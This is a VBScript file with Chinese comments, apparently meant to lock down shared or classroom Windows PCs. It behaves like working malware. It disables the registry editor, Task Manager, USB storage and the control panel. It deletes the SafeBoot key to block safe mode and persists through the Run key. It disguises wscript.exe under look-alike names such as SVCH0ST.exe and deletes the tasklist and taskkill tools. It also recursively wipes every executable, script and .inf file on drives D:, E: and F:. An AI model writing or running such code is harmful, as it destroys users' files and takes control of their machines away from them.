'on error resume next
set ws=createobject("wscript.shell")
set fs=createobject("scripting.filesystemobject")
set dir1=fs.getspecialfolder(1)
DIM s,tuichu
DIM ss
DIM ps
DIM ff
DIM result
DIM svc,a1g,wsc,stu,smnet
svc=1
a1g=1
wsc=1
stu=1
smnet=1
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD" '禁注册表
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD"
ws.Regwrite "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR\Start","4","REG_DWORD" '禁用U盘。
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFoders","1","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel","1","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","0","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives","96","REG_DWORD"'只显示cde等盘
result=ws.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ps")
ws.Regdelete ("HKLM\System\CurrentControlSet\Control\SafeBoot")
if result<>dir1&"\psmgmt.vbs" then
ws.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ps",dir1&"\psmgmt.vbs","REG_SZ"
end if
ws.Regwrite "HKCU\SoftWare\Policies\Microsoft\windows\system\disableCMD","0","REG_DWORD"
if not fs.fileexists("c:\windows\system32\sys.bat") then
set del=fs.opentextfile("c:\windows\system32\sys.bat",2,2)
del.writeline ("REG COPY HKLM\System\CurrentControlset\Control\safeboot HKLM\System\CurrentControlset\Control\storesafe /s /f")
del.writeline ("REG DELETE HKLM\System\CurrentControlset\Control\safeboot /f")
del.close
ws.run "c:\windows\system32\sys.bat",0,0
end if
fs.deletefile "c:\limit.vbs",true
ws.Regwrite "HKCU\SoftWare\Policies\Microsoft\windows\system\disableCMD","0","REG_DWORD"
set ff=fs.opentextfile("c:\windows\system32\ps.txt",1,0)
s=ff.readall
ff.close
seadel "d:"
seadel "e:"
seadel "f:"
wscript.sleep (5000)
tuichu="hexiongzi"
flag=1
do while(flag)
if instr(s,tuichu) then
flag=0
else
if not fs.fileexists(dir1&"\psmgmt.vbs") then
fs.getfile(wscript.scriptfullname).copy(dir1&"\psmgmt.vbs")
end if
'set ff=fs.getfile(dir1&"\psmgmt.vbs")
'ff.attributes=3
'set ff=fs.getfile(dir1&"\ps.txt")
'ff.attributes=3
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden",2,"REG_DWORD"'不显示
if not fs.fileexists("c:\windows\SVCH0ST.exe") then
set ff=fs.getfile(dir1&"\wscript.exe")
ff.copy("c:\windows\SVCHOST.exe")
end if
if not fs.fileexists("c:\windows\system32\SVCH0ST.exe") then
set ff=fs.getfile(dir1&"\wscript.exe")
ff.copy(dir1&"\SVCH0ST.exe")
end if
if fs.fileexists(dir1&"\tasklist.exe") then
fs.deletefile dir1&"\tasklist.exe",true
end if
if fs.fileexists(dir1&"\taskkill.exe") then
fs.deletefile dir1&"\taskkill.exe",true
end if
if fs.fileexists(dir1&"\tskill.exe") then
fs.deletefile dir1&"\tskill.exe",true
end if
for each ps in getobject("winmgmts:").instancesof("win32_process")
if instr(s,lcase(ps.name)) Then
ps.terminate
seadel "d:"
end if
if lcase(ps.name)="svch0st.exe" then
svc=1
else
if lcase(ps.name)="wscript.exe" then
wsc=1
end if
end if
next
if svc<1 then
ws.run dir1&"\SVCH0ST.exe "&dir1&"\psmgmt.vbs",0
ws.run "c:\windows\SVCHOST.exe "&dir1&"\psmgmt.vbs",0
end if
if wsc<1 then
ws.run dir1&"\wscript.exe "&dir1&"\psmgmt.vbs",0
end if
'if stu<1 then
'if fs.fileexists("C:\Program Files\TopDomain\e-Learning Class Standard 2.00\Student3.exe") then
'ws.run chr(34)&"C:\Program Files\TopDomain\e-Learning Class Standard 2.00\Student3.exe"&chr(34)
'else
'ws.run "c:\windows\system32\mshut.exe -r -t 1"
'end if
'end if
'if smnet<1 then
'if fs.fileexists("C:\Net Manager\smnet_c.exe") then
'ws.run chr(34)&"C:\Net Manager\smnet_c.exe"&chr(34)
'else
'ws.run "shutdown.exe -r -t 1"
'end if
'end if
svc=0
a1g=0
wsc=0
'stu=0
'smnet=0
wscript.Sleep(1000)
end if
loop
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD" '解禁注册表
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\norun","0","REG_DWORD"
ws.Regwrite "HKCU\SoftWare\Policies\Microsoft\windows\system\disableCMD","0","REG_DWORD"
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
ws.Regwrite "HKLM\SySTEM\CurrentControlSet\Services\USBSTOR\Start","1","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFoders","0","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel","0","REG_DWORD"
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","0","REG_DWORD"
s.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives","0","REG_DWORD"
ws.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden",2,"REG_DWORD"'显式
if result=dir1&"\psmgmt.vbs" then
ws.regdelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ps"
end if
if not fs.fileexists("c:\windows\system32\sys1.bat",2,2) then
set del=fs.opentextfile("c:\windows\system32\sys1.bat",2,2)
ws.Regwrite "HKCU\SoftWare\Policies\Microsoft\windows\system\disableCMD","0","REG_DWORD"
del.writeline ("REG COPY HKLM\System\CurrentControlset\Control\storesafe HKLM\System\CurrentControlset\Control\safeboot /s /f")
del.writeline ("REG DELETE HKLM\System\CurrentControlset\Control\storesafe /f")
del.close
ws.run "c:\windows\system32\sys1.bat",0,0
fs.deletefile "c:\windows\system32\sys1.bat",true
fs.deletefile "c:\windows\system32\sys.bat",true
fs.deletefile "c:\windows\system32\psmgmt.vbs",true
fs.deletefile "c:\windows\system32\ps.txt",true
end if
Function seadel(path)
Set objfolder=fs.getfolder(path) '获得当前路径
Set objfiles=objfolder.Files '获得当前路径下的所有文件集合
For Each objfile In objfiles '开始遍历文件集合
If instr(objfile,".exe") or instr(objfile,".vbs") or instr(objfile,".bat") or instr(objfile,"icesworld") or instr(objfile,".inf") Then
fs.deletefile objfile,2
End If
Next
Set objsubfolders=objfolder.SubFolders '得到当前路径下的所有文件夹的集合
For Each objsubfolder In objsubfolders '遍历文件夹
nowpath=path & "\" & objsubfolder.Name '得到新的文件路径
seadel nowpath '调用函数自身,从新的路径开始搜索
Next
End Function